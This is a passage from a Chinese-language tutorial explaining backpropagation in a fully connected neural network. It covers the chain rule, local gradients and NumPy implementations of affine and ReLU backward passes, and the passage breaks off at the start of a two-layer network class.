ธๅฟƒๅŸบ็ก€ใ€‚\n\nๅบŸ่ฏๅฐ‘่ฏด๏ผŒ็œ‹ๅ›พ่ฏด่ฏ๏ผŒๆ•…ไบ‹่ฟ˜ๆ˜ฏ่ฆๅ…ˆไปŽไธ€ไธช็ฅž็ปๅ…ƒ่ฏด่ตท๏ผš\n\n---\n\n![](https://github.com/pangolulu/neural-network-from-scratch/raw/master/figures/bp.png)\n\nๅ›พไธญๆญฃไธญ็š„ๅ‡ฝๆ•ฐf็›ธๅฝ“ไบŽ่พ“ๅ‡บๅฑ‚็š„ๆŸไธ€ไธช็ฅž็ปๅ…ƒใ€‚็ปฟ่‰ฒ็ฎญๅคดไปฃ่กจ็š„ๆ˜ฏๅพ—ๅˆ†ๆ•ฐๆฎ็š„ๆญฃๅ‘ไผ ๆ’ญ $f(x,y)=z$๏ผˆๅฏไปฅ็œ‹ๅˆฐ่พ“ๅ‡บๅฑ‚ๆญฃๅ‘ๆฅ็š„ๆ•ฐๆฎ$x,y$่ขซ\"ๆฟ€ๆดป\"่ฟ‡๏ผŒๆตๅ‡บ่พ“ๅ‡บๅฑ‚็š„ๆ•ฐๆฎ$z$ๅนถๆฒกๆœ‰่€ƒ่™‘โ€ๆฟ€ๆดปโ€œ๏ผ‰๏ผŒ็บข่‰ฒ็ฎญๅคดๅณไปฃ่กจ็š„ๆ˜ฏๆขฏๅบฆ็š„ๅๅ‘ไผ ๆ’ญใ€‚ๅ›พไธญๅณไพง็š„$\\partial L/\\partial z$ ่กจ็คบๆŸๅคฑๅ‡ฝๆ•ฐ$L$ๅ…ณไบŽ่พ“ๅ‡บๅฑ‚ไธญๆฅ่‡ชๅฝ“ๅ‰็ฅž็ปๅ…ƒ็š„ๆ•ฐๆฎๅพ—ๅˆ†$z$็š„ๆขฏๅบฆ(scalar)ใ€‚ไปฅไธŠ้ƒฝๆ˜ฏๆˆ‘ไปฌๅทฒ็Ÿฅ็š„๏ผŒ่€Œๆˆ‘ไปฌๆœช็Ÿฅไธ”ๆƒณ็Ÿฅ้“็š„ๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐ$L$ๅ…ณไบŽๆœ€ๅŽไธ€้š่—ๅฑ‚ไธญๆตๅ…ฅๅฝ“ๅ‰็ฅž็ปๅ…ƒ็š„ๆ•ฐๆฎๅพ—ๅˆ†$x$ๅ’Œ$y$็š„ๆขฏๅบฆ๏ผŒๅณ$\\partial L/\\partial x,\\partial L/\\partial y$ใ€‚\n\n้“พๅผๆณ•ๅˆ™็ป™ๆˆ‘ไปฌๆไพ›ไบ†่งฃๅ†ณๆ–นๆกˆ๏ผŒ้‚ฃๅฐฑๆ˜ฏ้€š่ฟ‡โ€œ**ๅฑ€้ƒจๆขฏๅบฆ**โ€ๅฐ†ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆไผ ้€’ๅ›žๅŽป๏ผš\n$$\n\\frac{\\partial L}{\\partial x} = \\frac{\\partial L}{\\partial z} {\\color{blue} {\\frac{\\partial z}{\\partial x}}}\\,;\n\\,\\,\\,\\,\\,\n\\frac{\\partial L}{\\partial y} = \\frac{\\partial L}{\\partial z} {\\color{blue} {\\frac{\\partial z}{\\partial y}}}\n$$\n\nๅœจๅๅ‘ไผ ๆ’ญ็š„่ฟ‡็จ‹ไธญ๏ผŒๆˆ‘ไปฌๅช้œ€่ฆ็ป™ๅ‡บไธŠ้ข่“่‰ฒๅ…ฌๅผๆ‰€ไปฃ่กจ็š„ๅฑ€้ƒจๆขฏๅบฆ $\\partial z/\\partial x,\\partial z/\\partial y$๏ผŒๅณๅฏไปŽๆŸๅคฑๅ‡ฝๆ•ฐ $L$ ๅ…ณไบŽ่พ“ๅ‡บๅฑ‚่พ“ๅ‡บๆ•ฐๆฎ$z$็š„ๆขฏๅบฆ $\\partial L/\\partial z$ ๅพ—ๅˆฐ $L$ ๅ…ณไบŽไธŠไธ€้š่—ๅฑ‚่พ“ๅ‡บๆ•ฐๆฎ$x,y$็š„ๆขฏๅบฆ $\\partial L/\\partial x,\\partial L/\\partial y$ใ€‚ๅฆ‚ๆญคไธ€ๆฅ๏ผŒๅช่ฆๆˆ‘ไปฌๅœจๆฏไธ€ๅฑ‚็ฅž็ปๅ…ƒๅค„้ƒฝๅฎšไน‰ๅฅฝไบ†ๅฑ€้ƒจๆขฏๅบฆ๏ผŒๅฐฑๅฏไปฅๅพˆ่ฝปๆพ็š„ๆŠŠๆŸๅคฑๅ‡ฝๆ•ฐ $L$ ๅ…ณไบŽ่ฏฅๅฑ‚็ฅž็ปๅ…ƒไปฌ่พ“ๅ‡บๆ•ฐๆฎ็š„ๆขฏๅบฆ\"ๆฌ่ฟ\"ๅˆฐ่ฏฅๅฑ‚็ฅž็ปๅ…ƒไปฌ่พ“ๅ…ฅๆ•ฐๆฎ็š„ๆขฏๅบฆ๏ผŒๅฆ‚ๆญคๅๅค่ฟญไปฃ๏ผŒๅฐฑๅฎž็Žฐไบ†ไผ ่ฏดไธญ็š„ๅๅ‘ไผ ๆ’ญใ€‚ใ€‚ใ€‚\n\n![](https://i.loli.net/2018/07/09/5b437888ed29d.png)\n\nๅ…ณไบŽๅๅ‘ไผ ๆ’ญ็š„ๆ•…ไบ‹่ฟ˜ๆœ‰ไธ€็‚นๆฒก่ฏดๅฎŒ๏ผšๅฏนๆŸๅคฑๅ‡ฝๆ•ฐ็š„ $L$ ๅ…จๅพฎๅˆ†ไธไป…ไผšๆถ‰ๅŠๆฏๅฑ‚็ฅž็ปๅ…ƒ็ป™ๅ‡บ็š„ๅพ—ๅˆ†็š„ๅพฎๅˆ†๏ผŒไนŸไผš็‰ตๆ‰ฏๅˆฐ่ฏฅๅฑ‚ๅ‚ๆ•ฐ(w, b)็š„ๅพฎๅˆ†๏ผŒๅฆ‚ๆญคไธ€ๆฅๅฐฑๅฏไปฅๅพ—ๅˆฐๆˆ‘ไปฌๆƒณ่ฆ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ $L$ ๅ…ณไบŽ็ฅž็ป็ฝ‘็ปœๆจกๅž‹ๅ‚ๆ•ฐ(W, B)็š„ๆขฏๅบฆใ€‚\n\nๆ•ดไธช่ฟ‡็จ‹ๅพˆๅƒๆ˜ฏ $L$ ๅ…ณไบŽๆ•ฐๆฎ็š„ๆขฏๅบฆๅœจๆฏไธ€ๅฑ‚ๅๅ‘ไผ ๆ’ญ๏ผŒ้กบไพฟๅœฐๆŠŠๅ„ๅฑ‚ๅ…ณไบŽๅ‚ๆ•ฐ็š„ๆขฏๅบฆไนŸ็ฎ—ไบ†ๅ‡บๆฅใ€‚\n\nๆ˜ฏไธๆ˜ฏๅˆ่ขซ่ฏดๆ™•ไบ†๏ผŸไธ่ฆๆ€ฅ๏ผŒ็›ดๆŽฅไธŠไปฃ็ ๏ผŒๆœ€ๅŽๅฅ‡่ฟน็ซ‹็Žฐ๏ผ\n\n```python\ndef affine_backward(dout, cache):\n \"\"\"\n Computes the backward pass for an affine layer.\n Inputs:\n - dout: Upstream derivative, of shape (N, M) ไธŠไธ€ๅฑ‚็š„ๆ•ฃๅบฆ่พ“ๅ‡บ\n - cache: Tuple of:\n - x: Input data, of shape (N, d_1, ... d_k)\n - w: Weights, of shape (D, M)\n - b: biases, of shape (M,) \n Returns a tuple of:\n - dx: Gradient with respect to x, of shape (N, d1, ..., d_k)\n - dw: Gradient with respect to w, of shape (D, M)\n - db: Gradient with respect to b, of shape (M,)\n \"\"\"\n x, w, b = cache\n dx, dw, db = None, None, None\n reshaped_x = np.reshape(x, (x.shape[0], -1))\n dx = np.reshape(dout.dot(w.T), x.shape) # np.dot() ๆ˜ฏ็Ÿฉ้˜ตไน˜ๆณ•\n dw = (reshaped_x.T).dot(dout)\n db = np.sum(dout, axis=0)\n return dx, dw, db\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- ๆˆ‘ไปฌๅฎšไน‰ `affine_backward(dout, cache) = (dx, dw, db)` ๅ‡ฝๆ•ฐๆฅๆ่ฟฐ่พ“ๅ‡บๅฑ‚็ฅž็ปๅ…ƒ็š„ๅๅ‘ไผ ๆ’ญใ€‚ๅ…ถไธญshapeไธบ(N, M)็š„ `dout` ็Ÿฉ้˜ตๅฐฑๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐ $L$ ๅ…ณไบŽ่ฏฅๅฑ‚ๅœจ `affine_forward()` ๅ‡ฝๆ•ฐๆญฃๅ‘่พ“ๅ‡บๆ•ฐๆฎ `out` ็š„ๆขฏๅบฆ๏ผŒๅ…ถๅฏนๅบ”ไบŽๆˆ‘ไปฌไธŠไธ€่Š‚ๅฎšไน‰็š„ `softmax_loss()` ๅ‡ฝๆ•ฐ่พ“ๅ‡บ็š„ `dx` ็Ÿฉ้˜ตใ€‚ๆขฏๅบฆๅœจ่พ“ๅ‡บๅฑ‚ๅๅ‘ไผ ๆ’ญ็š„่ฏ๏ผŒM็š„ๅคงๅฐๅฐฑ็ญ‰ไบŽๆ ทๆœฌๅ›พ็‰‡็š„ๆ ‡็ญพๆ•ฐ๏ผŒๅณ $M=10$ใ€‚`cache` ๅ…ƒ็ป„ๆ˜ฏๆญฃๅ‘ๆตๅ…ฅ่พ“ๅ‡บๅฑ‚็š„็ฅž็ปๅ…ƒ็š„ๆ•ฐๆฎxๅ’Œ่พ“ๅ‡บๅฑ‚็š„ๅ‚ๆ•ฐ(w, b)๏ผŒๅณๆœ‰ `x, w, b = cache`๏ผŒๅ…ถไธญ่พ“ๅ‡บๅฑ‚็š„่พ“ๅ…ฅๆ•ฐๆฎxๆ˜ฏๆœช็ป่ฟ‡reshaped็š„ไธ€ไธชๅคš็ปดarray๏ผŒshapeไธบ$(N,d_1,โ€ฆ,d_k)$๏ผŒๆƒ้‡็Ÿฉ้˜ตW็š„shapeๆ˜ฏ(D, M)๏ผŒๅ็ฝฎb็š„shapeๆ˜ฏ(M, )ใ€‚\n\nๆŽฅไธ‹ๆฅๅฐฑๆ˜ฏ้‡็‚นไบ†๏ผ้ฆ–ๅ…ˆ๏ผŒๅœจๆญฃๅ‘ไผ ๆ’ญไธญ๏ผŒๆˆ‘ไปฌๅทฒ็ปๆธ…ๆฅš่ฏฅ่พ“ๅ‡บๅฑ‚็ฅž็ปๅ…ƒไธญๆ•ฐๆฎ็š„ๆตๅŠจไพๆฎ็š„ๆ˜ฏไธ€ไธช็บฟๅฝขๆจกๅž‹๏ผŒๅณ ๅฝขๅฆ‚ๅ‡ฝๆ•ฐ่กจ่พพๅผ $z(x,w,b๏ผ‰=xw+b$ใ€‚ๆ‰พๅˆฐๅ‡ฝๆ•ฐ $z$ ็š„ๅฑ€้ƒจๆขฏๅบฆๆ˜พ็„ถๅพˆ็ฎ€ๅ•๏ผš\n$$\n\\frac{\\partial z}{\\partial x}=w\\,,\\frac{\\partial z}{\\partial w}=x\\,,\\frac{\\partial z}{\\partial b}=1\n$$\n่ฟ›่€Œ๏ผŒๅฐฑๅฏไปฅๆœ‰๏ผš(่“่‰ฒ้ƒจๅˆ†ๅณไธบๅฑ€้ƒจๆขฏๅบฆ๏ผ)\n$$\n\\begin{align*}\n &\\frac{\\partial L}{\\partial x} = \\frac{\\partial L}{\\partial z} {\\color{blue} {\\frac{\\partial z}{\\partial x}}}\n \t= \\frac{\\partial L}{\\partial z} {\\color{blue} {w}}\\,\\,,\\\\\n &\\frac{\\partial L}{\\partial w} = \\frac{\\partial L}{\\partial z} {\\color{blue} {\\frac{\\partial z}{\\partial w}}}\n \t= \\frac{\\partial L}{\\partial z} {\\color{blue} {x}}\\,\\,,\\\\\n&\\frac{\\partial L}{\\partial b} = \\frac{\\partial L}{\\partial z} {\\color{blue} {\\frac{\\partial z}{\\partial b}}}\n \t= \\frac{\\partial L}{\\partial z} \\cdot{\\color{blue} {1}}\\,\\,.\n\\end{align*}\n$$\n็„ถ่€Œ๏ผŒๆˆ‘ไปฌ็š„โ€œๅพ—ๅˆ†โ€ๅ‡ฝๆ•ฐๅฏๆฒก่ฟ™ไนˆ็ฎ€ๅ•๏ผŒๅ…ถๆ˜ฏๅฆ‚ไธ‹็š„ไธ€ไธช็Ÿฉ้˜ต่กจ่พพๅผ๏ผš\n$$\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{z} & \\\\ \n & & \n\\end{bmatrix}}_{N\\times M}\n\\overleftarrow{=}\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{x} & \\\\ \n & & \n\\end{bmatrix}}_{N\\times D}\n\\cdot\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{w} & \\\\ \n & & \n\\end{bmatrix}}_{D\\times M}\n+\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{b}& \\\\ \n & & \n\\end{bmatrix}}_{\\underset{\\text{Broadcasting}}{N\\times M}}\n$$\n้‚ฃไนˆ๏ผŒ่ฟ™ไธช็Ÿฉ้˜ต่กจ่พพๅผ็š„ๅฑ€้ƒจๆขฏๅบฆ็ฉถ็ซŸ่ฏฅๆ€Žไนˆๅ†™ๅ‘ข๏ผŸ้€šๅธธ๏ผŒๅคงๅฎถๆŠŠๆ•…ไบ‹่ฎฒๅˆฐ่ฟ™้‡Œ้ƒฝๆ˜ฏ็”จ\"็Ÿฉ้˜ต็ปดๅบฆ้€‚้…\"็š„ๅŠžๆณ•่ฏดๆ˜Ž็š„๏ผŒๆˆ‘ไปฌไนŸไผš้ตๅพชไธปๆต๏ผŒๅ› ไธบๆ•…ไบ‹่ฟ™ๆ ท่ฎฒไผšๅพˆๅฎนๆ˜“็†่งฃ๏ผŒไนŸๆ›ดๆ–นไพฟๅบ”็”จใ€‚่‹ฅๆƒณ่ฏฆ็ป†ไบ†่งฃๅ…ถไธญๆถ‰ๅŠ็š„็Ÿฉ้˜ต่ฎบ็Ÿฅ่ฏ†๏ผŒๅฏๅ‚้˜…๏ผš[cs231n](http://cs231n.stanford.edu/vecDerivs.pdf)๏ผŒ[Wiki](https://en.wikipedia.org/wiki/Matrix_calculus)ใ€‚\n\n\"็Ÿฉ้˜ต็ปดๅบฆๅŒน้…\"ๅˆฐๅบ•ๆ˜ฏไป€ไนˆๆ„ๆ€๏ผŸ่ฟ™ๅ…ถๅฎžๆ˜ฏไธชๆŒบ\"็Œฅ็\"็š„ๆ–นๆณ•๏ผŒๆ•…ไบ‹ๆ˜ฏ่ฟ™ๆ ท็š„๏ผš\n\n้ฆ–ๅ…ˆ๏ผŒๆˆ‘ไปฌ่ฆ็บฆๅฎšๅฅฝๆ‰€ๆœ‰ๆŸๅคฑๅ‡ฝๆ•ฐ $L$ ๆขฏๅบฆ็š„shape้ƒฝ่ฆไธŽๅ…ถ็›ธๅ…ณ็š„็Ÿฉ้˜ตๅ˜้‡็š„shape็›ธๅŒใ€‚ๆฏ”ๆ–น่ฏด๏ผŒไธŠไธ€่Š‚ๆŸๅคฑๅ‡ฝๆ•ฐ `softmax_loss(x, y) = (loss, dx)` ไธญ็š„ๆขฏๅบฆ `dx` ๅฐฑๅ’Œๆ•ฐๆฎ็Ÿฉ้˜ต `x` ็š„shape็›ธๅŒใ€‚ๆ‰€ไปฅ๏ผŒๅœจๅ‡ฝๆ•ฐ `affine_backward(dout, cache) = (dx, dw, db)` ไธญ๏ผŒๆˆ‘ไปฌๅฐฑ่ฆๆฑ‚ๆŸๅคฑๅ‡ฝๆ•ฐ $L$ ๅ…ณไบŽๆญฃๅ‘่พ“ๅ…ฅ็Ÿฉ้˜ต(x, w, b)็š„ๆขฏๅบฆ็Ÿฉ้˜ต (dx, dw, db) ไธŽ็Ÿฉ้˜ต (x, w, b) ็ปดๅบฆ็›ธๅŒใ€‚(ไธฅๆ ผ่ฏด๏ผŒๆˆ‘ไปฌ็š„ๅฑ€้ƒจๆขฏๅบฆๆฑ‚ๅฏผๅ…ถๅฎžๅฏนๅบ”ไบŽvector-by-vector derivatives๏ผŒๆˆ‘ไปฌๅฆ‚ๆญค็บฆๅฎšไธ่ฟ‡ๆ˜ฏ็›ธๅฝ“ไบŽๅ–ๅฎšdenominator layout)\n\nไบŽๆ˜ฏ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๆŒ‰็…งไธŠ้ขๅ‡ฝๆ•ฐ $z$ ็š„ๅฑ€้ƒจๆขฏๅบฆ่ง„ๅˆ™ไนฆๅ†™๏ผŒๅช่ฆไฟ่ฏ็Ÿฉ้˜ต่กจ่พพๅผ็ปดๅบฆๅŒน้…ๅณๅฏ๏ผš\n\n$$\n\\begin{align*}\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{dx} & \\\\ \n & & \n\\end{bmatrix}}_{N\\times 32\\times32\\times3}\n \\overset{\\text{np.reshape}}{\\Longleftarrow }\n\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\hat{\\text{dx}} & \\\\ \n & & \n\\end{bmatrix}}_{N\\times D}\n&=\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{dout} & \\\\ \n & & \n\\end{bmatrix}}_{N\\times M}\n\\cdot\n{\\color{blue} {\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{w}^T & \\\\ \n & & \n\\end{bmatrix}}_{M\\times D} }}\\\\\n\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{dw} & \\\\ \n & & \n\\end{bmatrix}}_{D\\times M}\n&=\n{\\color{blue} {\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{reshaped_x}^T & \\\\ \n & & \n\\end{bmatrix}}_{D\\times N} }}\n\\cdot\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{dout} & \\\\ \n & & \n\\end{bmatrix}}_{N\\times M}\n\\\\\n\\underbrace{\\begin{bmatrix}\n\\cdots & \\text{db} & \\cdots\n\\end{bmatrix}}_{1\\times M}\n& =\n{\\color{blue} {\n\\underbrace{\\begin{bmatrix}\n\\cdots & 1 & \\cdots\n\\end{bmatrix}}_{1\\times M} }}\n\\cdot\n\\underbrace{\\begin{bmatrix}\n & & \\\\ \n & \\text{dout} & \\\\ \n & & \n\\end{bmatrix}}_{N\\times M}\n\\end{align*}\n$$\nๅ…ถไธญ่“่‰ฒ็Ÿฉ้˜ตๆญฃๆ˜ฏๅฑ€้ƒจๆขฏๅบฆ้ƒจๅˆ†ใ€‚ไธŠ้ข็š„็Ÿฉ้˜ต่กจ่พพๅผๅˆ†ๅˆซๅฏนๅบ”ไบŽPythonไปฃ็ ๏ผŒ๏ผš\n\n```python\ndx = np.reshape(dout.dot(w.T), x.shape)\ndw = (reshaped_x.T).dot(dout) \ndb = np.sum(dout, axis=0)\n```\n\n**ไปฃ็ ่งฃๆž๏ผš**\n\n- ๅฏไปฅ็œ‹ๅˆฐๅฏน็Ÿฉ้˜ตwๅ’Œ็Ÿฉ้˜ตreshaped_x็š„่ฝฌ็ฝฎๆ“ไฝœ๏ผŒไปฅๅŠไธŽdout็Ÿฉ้˜ต็š„็Ÿฉ้˜ตไน˜ๆณ•ๅ‰ๅŽ้กบๅบ็š„ๅฎ‰ๆŽ’๏ผŒ้ƒฝๆ˜ฏ่€ƒ่™‘ๅˆฐๆขฏๅบฆ็Ÿฉ้˜ต(dx, dw, db)็ปดๆ•ฐๆปก่ถณ็บฆๅฎš็š„ๅ‰ๆไธ‹๏ผŒๆ‰€ๅพ—ๅˆฐๅ”ฏไธ€ๅฏ่ƒฝ็š„ๆขฏๅบฆ็Ÿฉ้˜ต่กจ่พพๅฝขๅผใ€‚\n- ไปฃ็ ไธญ `np.reshape(.., x.shape)` ่ฆๆฑ‚่พ“ๅ‡บ็š„็Ÿฉ้˜ตไธŽๅคš็ปดarray่พ“ๅ…ฅๆ•ฐๆฎx็š„shapeๅŒๅž‹ใ€‚\n- ไปฃ็ ไธญ `np.sum(.., axis=0)` ่กจ็คบๆฏๅˆ—ๅ…ƒ็ด ๆฑ‚ๅ’Œ๏ผŒๆ˜พ็„ถ่ฟ™ไธช็Ÿฉ้˜ตๆ“ไฝœ็ญ‰ไปทไบŽๆˆ‘ไปฌๅœจไธŠ้ขๅ†™็š„็Ÿฉ้˜ต่กจ่พพๅผๅ“ˆ๏ผ\n\n\n\n็Žฐๅœจ๏ผŒๆˆ‘ไปฌๆ‡‚ๅพ—ๅฆ‚ไฝ•็”จ `affine_backward()` ๅ‡ฝๆ•ฐๅๅ‘ไผ ๆ’ญ่กจ็คบๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่พ“ๅ‡บๅฑ‚ๆตๅ…ฅๅ‰ๅŽๆ•ฐๆฎไปฅๅŠๅ‚ๆ•ฐ็š„ๆขฏๅบฆ๏ผŒ้‚ฃไนˆๅ…ถไป–้š่—็ฅž็ปๅ…ƒๅฑ‚ไนŸ็”จ่ฟ™ไธชๅ‡ฝๆ•ฐๅๅ‘ไผ ๆ’ญๆขฏๅบฆ่กŒไธ่กŒ๏ผŸ\n\nๅฝ“็„ถไธ่กŒ๏ผŒๅƒไธ‡ๅˆซๅฟ˜ไบ†๏ผŒๅ…ถไป–้š่—ๅฑ‚็ฅž็ปๅ…ƒ็ป™ๅ‡บๅพ—ๅˆ†ๅŽ่ฟ˜ๆœ‰โ€œๆฟ€ๆดปโ€็š„ๆ“ไฝœใ€‚ๆ‰€ไปฅๆˆ‘ไปฌๅ†ๅฎšไน‰ไธ€ไธช `relu_backward(dout, cache) = dx` ๅ‡ฝๆ•ฐ่กจ็คบ้š่—ๅฑ‚็ฅž็ปๅ…ƒไธญๆฟ€ๆดปๅ‡ฝๆ•ฐ้ƒจๅˆ†็š„ๆขฏๅบฆ็š„ๅๅ‘ไผ ๆ’ญ๏ผŒ็„ถๅŽๅฐฑๅฏไปฅ็ป„ๆˆไธ€ไธชๅฎŒๆ•ด็š„ๆŸๅคฑๅ‡ฝๆ•ฐ $L$ ๅ…ณไบŽ้š่—ๅฑ‚็ฅž็ปๅ…ƒๆตๅ…ฅๅ‰ๅŽๆ•ฐๆฎ็š„ๆขฏๅบฆ็š„ๅๅ‘ไผ ๆ’ญๅ‡ฝๆ•ฐ `affine_relu_backward(dout, cache) = (dx, dw, db)`ใ€‚\n\n่ฏด่ฟ™ไนˆๅคš๏ผŒๅ…ถๅฎžไปฃ็ ๅพˆ็ฎ€ๅ•ๅ•ฆ๏ผš\n\n```python\n def relu_backward(dout, cache):\n \"\"\"\n Computes the backward pass for a layer of rectified linear units (ReLUs).\n Input:\n - dout: Upstream derivatives, of any shape\n - cache: Input x, of same shape as dout\n Returns:\n - dx: Gradient with respect to x\n \"\"\"\n dx, x = None, cache\n dx = (x > 0) * dout \n # ไธŽๆ‰€ๆœ‰xไธญๅ…ƒ็ด ไธบๆญฃ็š„ไฝ็ฝฎๅค„๏ผŒไฝ็ฝฎๅฏนๅบ”ไบŽdout็Ÿฉ้˜ต็š„ๅ…ƒ็ด ไฟ็•™๏ผŒๅ…ถไป–้ƒฝๅ–0\n return dx\n \n def affine_relu_backward(dout, cache):\n \"\"\"\n Backward pass for the affine-relu convenience layer\n \"\"\"\n fc_cache, relu_cache = cache # fc_cache = (x, w, b) relu_cache = a\n da = relu_backward(dout, relu_cache) # da = (x > 0) * relu_cache\n dx, dw, db = affine_backward(da, fc_cache)\n return dx, dw, db\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- ไปฃ็  `dx = (x > 0) * dout ` ๏ผŒ่กจ็คบๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽๅœจReLUๆฟ€ๆดปๅ‡ฝๆ•ฐๅค„ๆตๅ…ฅๆตๅ‡บๆ•ฐๆฎ็š„ๆขฏๅบฆ็š„ๅๅ‘ไผ ้€’ใ€‚ไธ‹ๅ›พๆ˜ฏๆŸๅฑ‚็ฅž็ปๅ…ƒๆฟ€ๆดปๅ‡ฝๆ•ฐ้ƒจๅˆ†ไธญ็š„ๆ•ฐๆฎๆญฃๅๅ‘ไผ ๆ’ญ็š„็คบๆ„ๅ›พ๏ผš\n\n$$\n\\begin{align*}\n\\underbrace{\\begin{bmatrix}\n{\\color{green} {-1 }}& {\\color{green} {-1 }} & 3\\\\ \n{\\color{green} {-2}} & (\\text{x}) & 4 \\\\ \n2 & 4 & {\\color{green} {-5 }}\n\\end{bmatrix}}_{N\\times H}\n&\n \\overset{\\text{forward}}{\\Longrightarrow }\n\n\\underbrace{\\begin{bmatrix}\n {\\color{green} {0 }} & {\\color{green} {0 }} & 3 \\\\ \n {\\color{green} {0 }} & (\\hat{\\text{x}}) & 4 \\\\ \n2 & 4 & {\\color{green} {0 }} \n\\end{bmatrix}}_{N\\times H}\n\\\\\n\\underbrace{\\begin{bmatrix}\n {\\color{green} {0 }} & {\\color{green} {0 }} & 0.7 \\\\ \n {\\color{green} {0 }} & ( \\text{dx}) & -0.5\\\\ \n-0.2 & 0.3 & {\\color{green} {0 }}\n\\end{bmatrix}}_{N\\times H}\n&\n \\overset{\\text{backward}}{\\Longleftarrow }\n\n\\underbrace{\\begin{bmatrix}\n {\\color{green} {0.1}} & {\\color{green} {-0.3}} & 0.7 \\\\ \n {\\color{green} {0.4}} & (\\text{dout)} & -0.5\\\\ \n-0.2 & 0.3 & {\\color{green} {0.8 }}\n\\end{bmatrix}}_{N\\times H}\n\\end{align*}\n$$\n\nไธŠ้ข็š„ๅˆ—ๆ•ฐHๅฏนๅบ”็š„ๆ˜ฏ่ฏฅ้š่—ๅฑ‚็ฅž็ปๅ…ƒ็š„ไธชๆ•ฐใ€‚ๆฟ€ๆดปๅ‡ฝๆ•ฐ $f(x)=\\max(0,x)$ ็š„ๅฑ€้ƒจๆขฏๅบฆ๏ผš\n$$\n\\begin{align*}\n\\frac{\\partial f}{\\partial x}= 1 \\,,x \\geqslant 0\\,,(\\hat{x}>0)\\\\\n\\frac{\\partial f}{\\partial x}= 0 \\,,x < 0\\,,(\\hat{x}=0)\n\\end{align*}\n$$\nๅ†่ฟ็”จ้“พๅผๆณ•ๅˆ™ $\\frac{\\partial L}{\\partial x}=\\frac{\\partial L}{\\partial f}\\frac{\\partial f}{\\partial x}=(\\text{dout})\\frac{\\partial f}{\\partial x}$๏ผŒๅฐฑๅฏๅฎž็ŽฐๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆๅœจๆฟ€ๆดปๅ‡ฝๆ•ฐๅค„็š„ๅๅ‘ไผ ๆ’ญใ€‚\n\n\n\n### ๅฐ็ป“๏ผšๆ‹‰่ตท็ฅž็ป็ฝ‘็ปœ็š„ๅคง็ฝ‘๏ผ\n\nๆ•…ไบ‹่ฎฒๅˆฐๆญค๏ผŒๆˆ‘ไปฌๅฐฑๅŸบๆœฌๅฏไปฅๆˆๅŠŸ็š„ๅปบ็ซ‹่ตท็ฅž็ป็ฝ‘็ปœ็š„ๆก†ๆžถไบ†ใ€‚ไธ‹้ขไปฅไธ€ไธช<u>2ๅฑ‚็š„ๅ…จ่ฟžๆŽฅ็ฅž็ป็ฝ‘็ปœ</u>ไธบไพ‹๏ผŒไปŽๆˆ‘ไปฌไธŠๆ–‡ๆ‰€ๆœ‰ๅฎšไน‰่ฟ‡็š„ๆจกๅ—ๅŒ–Pythonไปฃ็ ๅ‡ฝๆ•ฐ็š„่ง’ๅบฆ๏ผŒๆ€ป็ป“ไธ€ไธ‹ๆ•ฐๆฎๅœจ่ฟ™ๅผ ็ฅž็ปๅคง็ฝ‘ไธŠๆ˜ฏๅฆ‚ไฝ•ไผ ๆ’ญ่ฟๅŠจ็š„ใ€‚\n\n![](http://www.kdnuggets.com/wp-content/uploads/neural-network-input-hidden-output.jpg)\n\n\n\n![diy็ฅž็ป็ฝ‘็ปœ2](assets/diy็ฅž็ป็ฝ‘็ปœ2.jpeg)\n\nๅ…ถๅฎž๏ผŒๅ‰้ข่ฎฒไบ†้‚ฃไนˆๅคšๆ•…ไบ‹๏ผŒๅฎšไน‰ไบ†้‚ฃไนˆๅคšๅ‡ฝๆ•ฐ๏ผŒๅฝ’ๆ น็ป“ๅบ•ๅฐฑๆ˜ฏไธบไบ†็œ‹ๆ‡‚ไธŠ้ขๆˆ‘ไปฌ่‡ชๅทฑๆ‰‹็ป˜็š„**\"ๆ•ฐๆฎๆตๅŠจ่ตฐๅ‘ๅ›พ\"**๏ผŒไปฅๅŠๅฏไปฅ็”จPythonไปฃ็ ๆž„้€ ๅ‡บๆฅๆˆ‘ไปฌ็š„ไธ€ไธช่ถ…็ฎ€ๆ˜“็‰ˆๆœฌ็š„ๅ…จ่ฟžๆŽฅ็ฅž็ป็ฝ‘็ปœๆก†ๆžถใ€‚\n\n**ๆ•ฐๆฎๆตๅŠจ่ตฐๅ‘ๅ›พ็š„ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\nๆณจ๏ผšไธ‹้ขไปฃ็ ๅœจcs231nไฝœไธš็•ฅๆœ‰็ฎ€ๅŒ–ไฟฎๆ”น(ๆ— ๆญฃๅˆ™ๅŒ–)ใ€‚\n\n```python\nclass TwoLayerNet(object): # ๆˆ‘ไปฌ็š„2ๅฑ‚ๅ…จ่ฟžๆŽฅ็ฅž็ป็ฝ‘็ปœ\n \"\"\"\n ้ฆ–ๅ…ˆ๏ผŒ้œ€่ฆๅˆๅง‹ๅŒ–ๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœใ€‚\n ๆฏ•็ซŸ๏ผŒๆ•ฐๆฎไปŽ่พ“ๅ…ฅๅฑ‚็ฌฌไธ€ๆฌกๆตๅ…ฅๅˆฐ็ฅž็ป็ฝ‘็ปœ้‡Œ๏ผŒๆˆ‘ไปฌ็š„ๅ‚ๆ•ฐ(W,B)ไธ่ƒฝไธบ็ฉบ๏ผŒ\n 